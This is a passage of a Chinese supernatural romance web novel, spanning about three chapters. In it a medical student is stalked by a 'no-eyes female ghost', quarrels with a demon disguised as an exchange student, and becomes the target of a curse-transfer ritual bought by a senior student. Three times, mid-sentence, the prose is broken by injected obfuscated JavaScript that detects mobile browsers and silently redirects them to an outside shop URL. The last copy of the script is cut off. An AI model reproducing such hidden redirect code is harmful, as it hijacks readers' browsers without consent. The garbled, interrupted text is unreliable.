楼主:把大师的联系方式告诉我吧。 4楼:噢,也行,你加这个号xxxxx。 “天呐,有人不幸被女鬼缠上了……冬米!你怎么才回来?”文曲惊讶地看着裹着一身寒气推门而入的陶冬米。 梁子直指了指陶冬米桌上的奶茶:“你再不回来就要被孔武喝完了。” 陶冬米下半张脸严严实实埋在毛绒围巾里,笑声也闷闷的:“谢谢,在路上碰到脏东西,耽搁了点时间。” 孔武眼睛瞪得像铜铃:“你不会碰到女鬼了吧?” 确实碰到了,陶冬米心说,但也不止女鬼。而且他不想要室友替他担心,或者万一嫌弃他为寝室带来厄运,所以陶冬米摇了摇头。 “最近还是早点回来吧。”文曲担忧地说,“我看到有人被无眼女鬼缠上了,总是在生活中看到一双眼睛……” 孔武拍了一下文曲的脑袋:“好了,别描述细节了,瘆人。” 文曲吐吐舌头:“我们最近可以尽量一起走。” 陶冬米感激:“好的。” 第二天早上陶冬米是被室友们叫起来的,他们各自的课表不尽相同,但打算集体出门吃早餐。 陶冬米准备吃完早餐后先去木屋照料一下猫猫狗狗,再去图书馆自习。 陶冬米迷迷糊糊地刷牙洗脸,冰水泼到脸上终于清醒了些,一抬头看到镜子里的自己,嘴唇还可疑的有些肿,不由的在心里将某个鬼骂了三百遍。 碰到男鬼又碰到女鬼的,自己是不是有什么吸鬼体质? 陶冬米颇为郁闷地梳洗穿戴整齐,对室友们说:“我出去打个热水。” “好的谢谢。”梁子直笑道,“还是冬米医生最健康。” 整个寝室就陶冬米爱喝水,所以每天都是他出门打水,陶冬米每次都要提醒同为学医的室友们少喝奶茶多喝白开水。 陶冬米笑着说“小心你们血管里都流奶茶”,提着水瓶拉开寝室门,僵硬地顿住了。 只见寝室门缝的地上躺着一张白纸条,上面有一双血红色的眼睛,直勾勾地盯着陶冬米。 陶冬米不知道室友的血管里流的是不是奶茶,但他知道自己浑身的血液都凉了。 女鬼追过来了。 陶冬米不敢多看,也不想要室友知道他们可能被盯上了。 他鼓足勇气将纸条捡起来,打算扔进垃圾桶,想了想,还是把纸向内团成一团,塞进了自己的衣兜里。 最先被鬼缠上的是自己,陶冬米不希望拖累整个寝室。把眼睛放在自己这里,鬼只会冲着他来,如果扔进垃圾桶,不知道会不会有更多人遭殃。 陶冬米认为自己虽然胆小,但多少也拥有了一些和鬼打交道的经验,独自迎战女鬼总比把别人也拖下水来的好。 陶冬米打好水,飞快地跑回宿舍。 “打个水回来怎么嘴唇都白了?”文曲皱眉问,“你是出去吹了十分钟冷风吧。” 陶冬米开玩笑道:“冬泳到对面山头打的泉水又冬泳回来的。” 一寝室的人催着陶冬米到暖气边取暖,看着他嘴唇的血色回来,惨白的脸颊也红润不少,才吵吵嚷嚷地出了寝室门。 白天的寝室楼里人来人往,温暖的阳光洒进楼道,几个很直男的板砖室友围在身边,陶冬米便没有那么害怕。 再厉害的鬼都不敢在这样炽烈的阳光下现身。 陶冬米和室友们说说笑笑,推开寝室大楼的门。 “冬米学长!Morning~” 优雅年轻的声线华丽丽地抛来,只见高大的欧洲贵族交换生斜倚在宿舍楼院门口,料峭寒风中只骚包地穿了一件紧身短袖,手里捧着一大束鲜艳的花。就差嘴里叼一支玫瑰了。 这人实在太扎眼,又高又帅,在急匆匆灰扑扑赶早课的大学生潮中像一根挂满彩旗迎风招展的经幡,浑身散发着不合时宜的浮夸魅力,路过的学生们频频回头看他,捂着嘴和朋友小声讨论。 陶冬米当场石化。 室友们疑惑地看看孟翟思,又看看陶冬米,迟疑地问:“冬,冬米……他喊的是你?” 陶冬米压低帽子,裹紧围巾,扯着室友们绕向宿舍楼后门,低声道:“我不认识他,他喊错人了。” 高大的身影不知怎么瞬间出现,陶冬米被一大把花塞了满怀,四人被结结实实堵住了去路。 “没错,我喊的就是医学院大二的陶冬米学长。”孟翟思自信地伸出手,使用字正腔圆的普通话,热情洋溢地进行自我介绍,“你们好,初次见面,我叫孟翟思,大一天文系交换生。昨天晚上冬米学长带我游览了校园,时间太晚没有上门打扰,希望现在也不算迟。” “你,你好……”孔武稀里糊涂地伸出手,和孟翟思握了一下。 文曲头脑清醒,警惕地问:“没听冬米提过你啊,你认错人了吧。” 孟翟思微微欠身:“噢,我充分理解学长昨晚太忙,所以没来得及向大家介绍我。冬米学长是我在学校认识的第一个同学,他对我非常好,我愿将他作为我唯一的搭档,以后学长的室友就是我的室友,学长的家人就是我的家人……” “孟翟思!”眼看他越说越怪,陶冬米悬崖勒马,仿佛正在遛一条以八百迈速度狂奔的哈士奇,拼尽全力试图扯住狗链。 “当当当!所以我给家人们带了早餐!”孟翟思变魔术一样拿出几大袋热腾腾香喷喷的早餐,精致的粤式茶点、地道的炸酱面和糕点、西冷牛排沙拉、班尼迪克蛋配布里欧修……横贯中西,异常丰盛,都是学校食堂里没有的尖货,在阳光下闪闪发光,自带中华小当家BGM。 再理性的头脑在美食面前都会屈服,三位室友:“哇——” 陶冬米不忍直视地扶额。出息! 孟翟思慢悠悠地再加一条:“以后如果大家想吃夜宵,随时给我打电话就行。” 孔武最没出息,握住孟翟思的双手:“孟同学,以后你就是俺们505室的亲室友了!” 陶冬米无语:“你们能不能有点骨气?” “嗯嗯,能的。”梁子直往嘴里塞了一个晶莹剔透的大虾饺。 孟翟思微笑着挥挥手:“那大家下次再见吧,我找冬米学长有点事。” “嗯嗯,拜拜!”三人抱着大包小包,美得不知东南西北地走了。 陶冬米无声地瞪着孟翟思,孟翟思胡噜了一下陶冬米头顶翘起的白毛,笑得棕色的眼睛都眯起来:“学长,我好像看到你头顶在冒蒸汽。” “别发疯!”陶冬米没好气地将花按回孟翟思怀里,拔腿就走。 孟翟思闲庭信步地跟上,一边给陶冬米投喂了一只鲜香的虾仁烧卖,弯腰关切地询问:“学长,我看你脸色不太好,碰到什么糟糕的事情了吗?” 陶冬米冷着小脸咀嚼,模糊道:“嗯,一出门就碰到你,三员大将惨遭策反,糟糕极了。” “总比碰到无眼女鬼要好吧?”孟翟思笑嘻嘻地又投喂一枚鱼蛋,看到陶冬米的脸色,“唔”了一声,“Oops,真的又碰到了?” 陶冬米不欲多说:“和你有什么关系。” 孟翟思丝毫没有对被敷衍的不满,像一只巨大的闪片花蝴蝶绕在陶冬米身边飞来飞去。 “跟在我身边做什么?”陶冬米没好气地问。 孟翟思可怜兮兮地说:“教务主任要我跟着冬米学长逛校园呀,我刚到这里第一天,很多地方都不熟呢。” 都学会拿官威压人了。陶冬米干脆闭嘴,任由花蝴蝶当他的跟屁虫,全当他不存在。 “嘿嘿,骗你的!其实我一百年前访华的时候就来过这里。”孟翟思自顾自地在陶冬米耳边嗡嗡,“那时候这座城市叫北平,这所学校刚建成不久,规模比现在小很多,但已经非常漂亮。如果没记错的话,前面有座红砖楼……嘿你看,我说对了!” 陶冬米转过街角,果然看到一栋矮楼。 “重新装修过,以前不长这样的。”孟翟思打量道,“当年这里是男生校舍,现在变了吗?” 陶冬米有点惊讶,身旁的恶魔曾经亲眼见证过自己校园的历史,这种体验确实新奇。 “嗯。”陶冬米点点头,“现在是我们学校的多功能活动楼,里面有健身房、游泳馆、琴房、活动室……等等。” “现在的孩子们真幸福。”孟翟思发出上年纪的感叹,突然眼睛一亮,“啊,那座小桥,现在还在!” 观景石桥架在细细的流水上,和高大的恶魔一比像个袖珍玩具似的,大长腿走两步就能横跨整座桥。 孟翟思像个小孩子似的兴奋地在桥上跨过来跨过去,凑到陶冬米耳边神秘地说:“你知道吗,当年这里可是学校著名的幽会胜地。” “当时自由恋爱刚兴起,学校里都是青春洋溢的进步学生,春风夜色里,少男少女们在桥边听水声,看柳叶,谈理想……” 陶冬米不由地听入了迷,好像已经看到那个动荡但思想璀璨的年代。 孟翟思悄无声息地移动过来,自然而然牵住陶冬米的手,陶醉道:“就像我们这样,啊,多么纯洁美好的校园恋爱……” 陶冬米清醒地甩开他:“我说了不能牵手。” 诡计被识破,孟翟思灰溜溜地跟着陶冬米离开,遗憾道:“好吧。” 两人重回林中小路,绕活动楼半周,孟翟思被楼下的巴洛克风格喷泉池吸引了视线。 喷泉台由白色大理石砌成,中央的圣母微笑地注视众生,怀抱圣婴,身旁围绕着几个胖嘟嘟的小天使,栩栩如生。 池边有几个学生在抛硬币,嘴里念叨着“菩萨保佑我期末高分”。 孟翟思噗嗤笑出声:“如果玛丽亚知道遥远神秘的东方古国有人对着她喊菩萨,还要她保佑成绩,肯定会气得翻白眼的。” 陶冬米尽力为同胞挽回颜面:“这里的菩萨是一种对圣人的泛指。” 孟翟思不甚在意地耸耸肩,好奇地问:“不过这个喷泉什么时候建的?我当年可没看到。” 陶冬米:“应该也有一百来年的历史了。” 孟翟思叹了口气:“哎,每次都是刚离开某个地方,那里就会建新的漂亮东西。” 两人一路走一路聊,不知不觉也将校园历史最悠久的区域逛完了小半。 陶冬米来到流浪动物小木屋。 还没走近,小黄狗便呼哧呼哧跑了出来,小炮弹一样冲到陶冬米怀里,粉红的舌头一个劲儿地舔他的脸。 “呆呆,哎呦,别舔了,哈哈哈……”陶冬米笑的很开心,嘴上说着拒绝的词,手里却把小狗抱得更紧了些。 孟翟思的表情倏地沉下来,直勾勾地盯着小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952200|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若有所思。 陶冬米蹲下来又喊了声:“囧囧!” 一只黑白杂毛猫从草丛里乐颠颠地跑了出来,熟练地在陶冬米腿边蹭来蹭去,把脑袋往陶冬米手心里拱。 “好乖。”陶冬米拍拍两小只,卸下书包,从里面掏出兽用听诊器等几个便携仪器,“排排队,今天最后给你们检查一次身体,情况好的话就不用再检查啦。” 囧囧躺在陶冬米手里,全然信任地摊开四肢,任由陶冬米触摸检查它的身体。 “没问题,完全恢复了。”陶冬米利落地检查完,松开小猫,奖励它几颗冻干,“真棒。” 轮到呆呆,小狗更主动地躺到医疗垫上,圆溜溜的眼睛看着陶冬米。 孟翟思表情阴郁,问:“这些都是你养的?” 陶冬米专注地给小狗做检查:“前段时间救下来的,同学们一起养,我主要负责保障他们的身体健康。” “它们有问题。”孟翟思突然握住陶冬米的手腕,“别碰它们。” 陶冬米猝然后退几步:“……什么?” 呆呆疑惑地望着陶冬米,憨憨地“汪”了一声。 孟翟思眯眼,伪装成常人的棕色眼瞳掠过一道金色暗光,有几毫秒的瞬间变成了尖细的竖瞳,淡淡地乜着一狗一猫。 “哈——!” 两只小动物仿佛见到了什么极其凶悍的猛兽,突然做出攻击姿态,小猫高高拱起后背,全身炸毛,小狗呲出尖利的牙,似乎随时会扑到孟翟思身上撕咬他。 陶冬米从未见过两只小动物应激成这样,就算在充满消毒水味的医院里打针抽血也很乖,陶冬米立刻看向孟翟思,厉声道:“你在做什么?快停下!” 孟翟思不语,仍然淡淡地看着它们。 两只小动物应激得更严重了,从喉咙深处发出叽里咕噜的低吼。 陶冬米将一猫一狗护进自己怀里,像妈妈护着两只小崽,狠狠瞪着孟翟思,紫色眸子里闪着愤怒的水光:“它们就是两只小动物,孟翟思,你敢伤它们一根毛我一定跟你没完!” 孟翟思眼底的金光犹疑地闪了闪,片刻后平息成棕色,喃喃:“真的只是愚蠢的低等生物……” 囧囧和呆呆缩在陶冬米怀里瑟瑟发抖,陶冬米不停地安抚它们:“不怕了,不怕了。” 孟翟思看着陶冬米抚摸两只毛绒生物,不开心道:“有什么好怕的,我什么都没干。” 陶冬米松开猫狗,叮嘱道:“你们走吧,下次再见到这个人就绕远点,他有病。” 一猫一狗喵呜两声算作答应,胆怯地看了孟翟思一眼,飞快地窜进草丛里消失不见了。 “我真的没做什么,是它们胆子太小了。”孟翟思解释。 陶冬米不声不响地将仪器往包里放,昨晚刚拿回来的手写病例本还躺在书包里,露出一双鲜红的眼睛。陶冬米指尖一颤,面不改色地继续收拾东西。 孟翟思仔细观察陶冬米的神色,笔挺地站得溜儿直,“好吧,我道歉。” 陶冬米并不理会他,拉紧书包拉链,一声不吭就走。 红色的火焰在陶冬米心中熊熊燃烧。 完蛋,这次真的生气了。 孟翟思莫名觉得心里狠狠一坠。 这对千年魔王来说,是非常陌生的感受。 但孟翟思没有时间细想,下意识语速飞快地道歉:“我确实对它们施加了一点点的恶魔之力,但我没有伤害它们的意思,我只是怕它们伤害到你。” 陶冬米充耳不闻,自顾自往前走。 “你知道的,你们学校里有强大的魔族出没,我需要对一切保持审慎怀疑,尤其是出现在你身边的生物。我不希望你受伤。” 白发男孩仍然只留给他一个冷淡的背影。 孟翟思腆着脸凑上去,用给老婆撒娇的语气喊:“冬米同学——学长——” 陶冬米停步,回头直视着孟翟思,淡淡地说:“孟翟思,你别再出现了吧。” 他的语气平淡,但孟翟思直觉感到,这次陶冬米非常认真。 陶冬米平静地说:“女鬼目前没有对我造成任何伤害,反倒是你,你哄骗我和你结下契约,持续骚扰我,闯入我的学校,现在又要强行霸占我的生活,你才是那个需要被驱逐的魔鬼,阿斯蒙蒂斯。” 不知为何,孟翟思感到心头涌上一股酸涩。 怎么形容呢?像吃了一颗酸杏子,咽不下去也吐不出来,不知道该怎么处理。 孟翟思罕见地失语很久,半晌干巴巴地挤出一句话:“宝贝儿,你叫错名字了吧。” “孟翟思也是你哄骗着我给你取的名字,不是吗?阿斯蒙蒂斯。”陶冬米疲倦地说,“如果我收回这个名字,你可以继续当回你的魔王吗?” 阿斯蒙蒂斯如遭当头一击,茫然不知所措:“我……” “你将我们学校的魔族缉拿归案之后就走吧。”陶冬米看着他说,“我不需要你保护我。” 恶魔不需要靠心跳维持生命,他们也从未在乎过这个器官的存在,但魔王此刻真实的感受到心脏传来的酸疼。 “好,我答应你。”阿斯蒙蒂斯出声。 陶冬米平静地看他,等待他说完。 “我不会再出现了。”魔王说。 陶冬米转身:“嗯。” “陶冬米。”阿斯蒙蒂斯喊他。 陶冬米还是回头看向他。 魔王变回了金色的眼睛,尖竖的瞳仁不再具有平时的狡黠和锐利,只剩平静。 “保护好自己。”阿斯蒙蒂斯说。 陶冬米觉得心脏细微地缩了一下,点点头,像之前很多次一样转身离去。 区别在于,这次恶魔站在原地目送他,没有嬉皮笑脸地追上来。 15.十五只乌鸦 从救助小木屋到图书馆,这是陶冬米这段时间走过最清净的一段路。 陶冬米找到窗边的空座位坐下,摊开书本学习。整整一个半小时,没有人打扰,没有虚影突然从桌面蹦出来,没有莫名其妙出现的念诵圣经的声音。 陶冬米从书本中抬头,正是艳阳高照的午饭时间。 他决定简单买个三明治快快回来,便把书包留在座位上,离开了图书馆。 陶冬米早上就吃了几口孟翟思喂的点心,现在肚子很饿。 他在小店买了自己最喜欢的三文鱼三明治,咬了几口,总感觉面包干瘪,鱼片也不够新鲜。 陶冬米一边咬三明治,一边往图书馆走,三明治有些拉嗓子,落到肚子里也没有饱腹的感觉,冷风刮起枯叶卷到陶冬米脚边,他也觉不出来冷。 “啪!” 一团黑乎乎的东西从高高的树杈上掉了下来,正好落到陶冬米脚边。 陶冬米淡定地退了两步,定睛一看,心头惊跳。 是一只蜷缩僵硬的乌鸦! 陶冬米迅速将半口三明治吞下去,在群里呼叫了两个离得最近的同学,自己跑回图书馆将装有急救用品的包取了过来。 校园里时常有落巢的小鸟幼崽,或者意外撞上玻璃的鸟儿,这么大只昏迷的乌鸦倒是少见。 鸦科大佬比人类想象得更聪明,它们会使用工具,拥有感情,古灵精怪,虽然有时候给人感觉贱兮兮的,它们通常可以成群结队地平安度过冬日。 近日的气温不算低,总是太阳天,在这种情况下掉落的乌鸦肯定不是因为被冻僵,大概有更严重的情况,比如吃了不该吃的东西,或者故意被人类伤害了。 两个同学守在一旁,陶冬米小心地为乌鸦做检查。 还有心跳,没有明显外伤,翅膀可以伸展,喙和爪都没有损伤。陶冬米冷汗滴下来,找不出原因的病最棘手。 陶冬米只好将乌鸦先放进盒子里:“打车,准备送医院。” “我来叫车!”救助站的一个同学打开APP,正在输入目的地,另一个同学突然道:“乌鸦动了!” 果然,乌鸦锋利的爪子无意识地蹬了一下。 陶冬米迟疑了:“或许它真的是冻僵了?那我们现在去温暖的室内比等车更好。” 同学也赞同:“可能给它喂点水和粮食就恢复过来了,我们先观察一下。” 似乎为了印证他们的正确性,乌鸦的爪子又动了一下。 “拿进屋吧。”陶冬米做下决定,小心翼翼地捧着纸盒,来到旁边的教学楼里,找了间暖和的空教室暂时作为乌鸦的观察室。 陶冬米将乌鸦放到靠近阳光的暖和地方,焦急地守在它旁边。 在阳光下,陶冬米不由的被这只乌鸦吸引了视线。它看起来其实非常健康,体型硕大健壮,鸟喙干净坚硬,连羽毛都根根饱满,乌黑发亮,在阳光下映出五彩斑斓的黑。 “这么漂亮的鸟儿。”陶冬米轻轻挠了挠乌鸦的头顶,“快醒过来吧。” 话音落下,乌鸦的翅膀真的扑腾了一下,漆黑的豆豆眼映出光彩,照出陶冬米的样子。 “真的醒了!”三个人一齐扒拉到纸盒边,欣喜地望着它。 乌鸦蹲在纸盒里蜷了小半会儿,雄赳赳气昂昂地站了起来,展开形状完美的羽翼,在教室里盘旋几圈,飞翔姿势优雅而飘逸,看起来完全没有健康问题。 陶冬米将教室的窗户开到最大,招呼道:“鸦鸦!从这边飞出去!” 鸦科大佬果真聪明,展翅朝陶冬米飞来,它看到了打开的窗户,却没有往外飞,而是转了几个小圈,轻柔地落到了陶冬米肩头。 “哇。”同学们和陶冬米都很惊讶,陶冬米站在原地不敢动,连呼吸都放轻,小心翼翼地转头,和乌鸦的豆豆眼对视。 “啊,啊,啊。”乌鸦扯着粗哑的嗓子欢快地叫了几声。 “乌鸦智商很高,它肯定在感谢你!”同学高兴地说。 另一个同学掏出手机拍照:“没见过这么聪明的鸦,给你们拍一张!” “鸦鸦,不用感谢我,我什么也没做。”陶冬米小心地伸手,试探性地摸了摸乌鸦的脑袋毛,温柔地说,“好啦,你快飞走吧,回自己的地方。” 乌鸦“嘎嘎”两声,抖抖羽毛,偏头在陶冬米耳侧蹭蹭,完全没有离开的意思。 同学乐了:“它好像不想走呢。冬米,你干脆收养它好了。” 陶冬米无奈道:“不可能的,乌鸦需要很大活动空间,鸟儿都很有野性,我怎么可能圈养它。” “要不你给它取个名字吧!”同学开玩笑道,“你给它取个名字,叫它一声,如果它回应你了,咱们就半收养它,至少在校园动物名册上登个记,我们找个地方给它开鸟粮小灶。” 陶冬米笑着摇摇头:“不了,我不想再给别的生命取名了。” “为什么?”同学问。 陶冬米:“取了名字可能就舍不得放他走了。” 同学笑道:“就养在学校里嘛,又不是见不到了。” 陶冬米不语,只是笑着摇摇头。 “还不走?”陶冬米看向乌鸦,指指窗外停在枝头的鸟群,“太阳要落山了,你妈妈喊你回家吃饭。” 乌鸦沉默地看了陶冬米几秒,展开漂亮华丽的羽翼,头也不回地飞走了。 陶冬米开心地把窗户关上:“不愧是鸦科大佬,真聪明。” 处理完这桩事情,陶冬米赶去上了两节课,又回到图书馆争分夺秒地学习。 快十点的时候,室友们喊陶冬米回宿舍,但今天的学习任务还未完成,陶冬米要他们先回去。 “真的不和我们一起回去吗?”孔武问,“回宿舍也可以学的。” 陶冬米有些愁:“在宿舍效率太太低了。” 室友们又劝了几句,陶冬米还是很坚持。 “你不怕碰到鬼了吗?”文曲缩了缩脖子,“虽然据说女鬼还是在实验楼区域徘徊,但最近也有在其他地方出没。” 陶冬米:“如果碰到鬼了,我会要她简述胃液的主要成分及其生理作用。答不出来就陪我留在图书馆复习到天亮。” 梁子直大笑:“行,我们放心了。你在这儿学吧。” 文曲还是不太放心地叮嘱:“那你还是早点走,晚上即使没有鬼也会很冷。” 陶冬米要他们回去:“放心吧。” 不知道为什么,陶冬米就是觉得自己即使遇到鬼也不会多么恐惧,心里钝钝的,觉不出太多波动。 像一个穿着厚棉袄的人,用尖针扎他的手臂,他并不会感到疼。 临从图书馆走前,陶冬米去上了个洗手间,回来收拾东西,发现摊开的专业书页上多了一双红色的眼睛,还泛着血红的光泽。 陶冬米麻木地和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16952201|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这双眼睛对视,半晌伸出手,用指腹抹了一下它。 未干透的红色颜料在纸上拖出一道长痕,指尖也变红了。 陶冬米面无表情地捻了捻指尖,啪地合拢厚厚的书本,整理好书包离开。 在昏暗的回宿舍路上,听到背后传来怪异的脚步声,陶冬米心里一紧,却没有多少恐惧,也并不惊讶。 回宿舍主要有两条路,路灯较为明亮的大道,和漆黑的林间小路。 陶冬米下意识向明亮的路加快脚步,却突然想到他现在要自己保护自己,躲得过一时躲不过一世。 他今晚就要知道,在暗处缠了他这么久的,到底是人是鬼。 没有一丝犹豫,陶冬米拐进了漆黑的林荫道。 月光冷冽,树影张牙舞爪,仿佛无数鬼魂从小路两旁扑过来,陶冬米走在中央,指尖划过路边的枝叶,好像在和鬼魂们逐个击掌。 身后又传来那怪异的脚步,陶冬米听到它越来越近,突然回头,除了树影什么也没有。 陶冬米拧眉,心里又有点发毛,难道真的是鬼? 陶冬米向前跑了两步,那种脚步声又出现了。 突然肩头刮过一阵细风,一小片乌云滑翔到眼前,陶冬米眼睛一亮,竟然是下午他救的那只大乌鸦。 黑乌鸦在陶冬米肩头停驻片刻,缓慢地扇动翅膀,飞向一个方向,仿佛在引路。 陶冬米犹豫一秒,跟着乌鸦往前跑。 乌鸦保持着恰到好处的速度,能让陶冬米追上,又足够甩掉后面那种脚步声。 陶冬米跟着乌鸦,跑到一处树叶茂密的拐角藏起来,乌鸦安静地落到陶冬米肩膀,用翅膀碰碰陶冬米的脸颊,有点痒痒的。 奇怪的脚步声渐渐靠近,左几下右几下,好像找不到目标的无头苍蝇。 接着,陶冬米听到两个男生压低的声音。 “他跑去哪了,你确定是这个方向?” “确实,我看到了。” 声音有点耳熟,但陶冬米一下子想不起来。 脚步越来越近,陶冬米往树叶间又藏了藏,肩头的乌鸦乖乖保持安静。 从树叶的间隙中,陶冬米看到两个男生一前一后地经过。 陶冬米想起来了,他见过他们,在许愿池,这两个男的在蔡宇杰旁边,万圣节派对后的早上他们也在。 “小白兔在哪呢?人不见了。你不是说他往这边走了?”高个子那个埋怨道。 “我真的看到了。”胖子也有些气急败坏。 “他不会发现我们了吧。” “不可能的,他胆子那么小,估计是太害怕跑走了。” 陶冬米抿唇,突然肩上一轻,乌鸦无声无息地飞了出去。 两个男的还在互相埋怨,高个子不爽地说:“你拍我干嘛?” 胖子说:“我才没有!” 两人意识到什么,缓慢地回头,只见一只巨大的黑色乌鸦静静地停驻在高个子背后,像一具泡在福尔马林里的标本,漆黑的眼珠没有感情地贴脸凝视着他们。 寂静的树林里响起两道狼狈的尖叫,接着是慌乱的脚步声,飞快地跑出了树林外。 乌鸦慢悠悠地盘旋两圈,落回陶冬米肩头。 “真棒!”陶冬米夸奖地搓搓它头顶的毛,“怎么这么聪明。” 乌鸦把脑袋顶进陶冬米手心,使劲蹭蹭,好像怎么也蹭不够。 16.十六张符咒 校外茶馆二楼雅间。 坐在桌边的口罩男用黑色口罩和鸭舌帽把自己捂得严严实实,坐姿松弛,食指却神经质地敲打着桌面,泄露了他的焦躁。 铃铛轻响,雅间门被缓缓推开,口罩男立刻抬起头,愣了愣,态度尊敬地邀请来人入座。 客人身披黑色斗篷,脸完全藏在兜帽的阴影之中,从体格上来看是位女子。 “大师,是同学把你介绍给我的。听说你有驱鬼的办法?”口罩男急切地倾身,眼睛中满是血丝,“我最近被鬼缠上了,我需要她在两天之内消失。” “我要的东西带了吗?”黑斗篷声音沙哑,难辨男女,似乎有种怪异的回响。 “带了。”口罩男拿出一件外套放到桌上,“这是我最近一次碰到女鬼时穿的衣服。” 乌黑的斗篷下伸出一双惨白瘦弱的手,她手腕似乎有怪异的黑色纹身,在袖口下一闪而过。 她的双手放到外套上,感知着什么。 “大师,您能从衣服上摸出什么吗?” “这是灵体接触过的东西,我会从中感知到她缠上你的原因以及踪迹。” 过了一会儿,口罩男忍不住问:“大师怎么样,有结果了吗?” 黑斗篷没动。 “哎呦,看我这记性,差点忘了这个。”口罩男拿出一叠东西,推到黑斗篷面前,“一点心意,不成敬意。” 她还是没有反应。 口罩男等了一会儿,渐渐有些不耐烦:“神婆,你到底行不行,给个准话。” 见黑斗篷仍然沉默,口罩男冷了脸:“你还嫌不够?” 黑斗篷缓慢开口,嗓音低哑沉闷:“你两天之后要提交科研文章的初稿给杂志。”是平淡叙述的语气。 口罩男愣了愣,皱眉问:“是,但和这有什么关系。” 黑斗篷:“吴卓曦,你认识。” 口罩男脸色变了变,很快淡定道:“她是我同学,我当然认识她。” “但你不仅认识她,你还……” 她淡定吐出几个字,口罩男忽然面色如土,声音紧绷得仿佛马上就要断裂,如临大敌地问:“你怎么知道的?你从衣服能感知出来这个?” 黑斗篷淡道:“世间因果,皆有踪迹。” 口罩男沉默半晌,试探着问:“您的意思是……女鬼是故意冲我来的?” 黑斗篷缓慢地点了点头。 “难怪她最近下手越来越狠毒了。”口罩男眯了眯眼。 黑斗篷:“让我看看你胳膊上的东西。” 口罩男惊讶又警惕:“……我从没和任何人说过。” 他犹豫了一会儿,还是小心谨慎地卷高袖口,只见胳膊上触目惊心地刻着两只血红的眼睛,红色纹路深深融入了皮肤中。 “这是被女鬼缠上之后出现的。没有表皮损伤,但会出现间歇性锐痛,最近越来越严重,并且有往躯干蔓延的趋势,非常影响我的身心健康。” 黑斗篷:“这种东西叫鬼印,是鬼在标记自己的猎物。” “成为猎物……会怎样?” 黑斗篷平淡地说:“如果两天后你如期提交论文,你大概率会惨死。” “……”男生挤出一个扭曲的笑声,“你少tm瞎说!” 黑斗篷:“你是医学生,我相信你已经使用过各种方式尝试治疗手臂上的鬼印了,你一定也发现这是违背科学的。如果女鬼能做到这个,也能轻易让你这个普通人死得不明不白。” 连口罩也遮不住男生越来越难看的脸色:“……那我不发文章了,我要活着。” “用处不大。”黑斗篷道,“你做过的事情已经无法改变,因果早已植下,只是催化早晚的区别。” 口罩男迫切地问:“大师,那您有没有什么办法杀死这个女鬼?只要她先死,鬼印是不是就会自动消失?” “鬼没有死亡一说。因果不消,报应不止。” “还有什么别的办法吗?大师,若您能帮我化解因果,保我平安,我给多少都可以!” 口罩男说着,从包里又倒出五叠红纸包好的东西,堆到黑斗篷面前,身子几乎扑到桌面上,“我现在只带了这些,大师您别嫌弃,先收着。之后想要什么都好说!” 黑斗篷好像终于满意了些,暗哑的嗓子带上一点笑意:“因果无法消除,但是可以转移。” 口罩男如同找到救命稻草:“真的?可以把鬼印转移给别人?” “你的因果可以转移给一个’接受体’,这位接受体将为你承受所有负面因果。简单来说,只要法术成功,鬼会将那个人认作是你。” 口罩男眼中燃起欣喜的火光:“怎样才能转移?” “转移术不难,难的是找到合适的接受体。”黑斗篷说,“最合适的接受体才能完全承接因果,并且对你没有反噬。” “什么样的人合适?我可以去找。”口罩男急切地问。 “没有特定的条件。”黑斗篷拿出一个形似指南针的金属物品,放在青年的外套上,“它可以帮我探测有没有合适的接受体。” 器物上的针尖凭空旋转起来,越转越快,再缓缓减速,最后停在一个方位。 口罩男眼睛一亮:“找到了?” 黑斗篷缓声问:“你认不认识一个外形异于常人的人?” 口罩男:“能更具体些吗?” “男性,年龄比你小,发色与眼睛颜色天生异常。” “我认识!”口罩男想了想,惊喜低声道,“我正好认识一个这样的。” “你确定要把因果转移给他吗?如果你按照原计划提交文章,对方很可能将遭受女鬼的猛烈攻击,在这种攻击下,那个人会死得很惨烈。”黑斗篷说,“如果你不愿这样做,你可以再寻求别的方法。” 口罩男问:“我会受到负面影响吗?” “他被测定为最合适的接受体,其中一个原因便是他性格温顺,胆怯懦弱,即使惨死,也不会化作厉鬼向你寻仇。” “没错,他就是这样的人。完全没错。”口罩男说。 “恕我多嘴问一句,你和他是什么关系,仇人?”黑斗篷问。 口罩男无所谓地耸耸肩:“不,只是一个无关紧要的学弟。” 黑斗篷拿出一张画着符咒的纸,说:“如果你确定要让他承接你的因果,告诉我他的名字。” 口罩男毫无犹豫地说:“陶冬米。” 黑斗篷提起毛笔,在符咒上写下这几个字,墨迹很快洇入宣纸,变魔术般消失不见了。 “将这张纸放到接受体的随身衣物中,即日起效。”黑斗篷将符纸折了两折,推到对面。 口罩男皱眉:“可我没有机会直接往陶冬米的衣服里放东西。” “不必多虑,等会儿你出门后左转,街角会有一个戴着蓝色绒线帽,穿着白色羽绒服的男生,将符纸交给他,他会替你做到。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 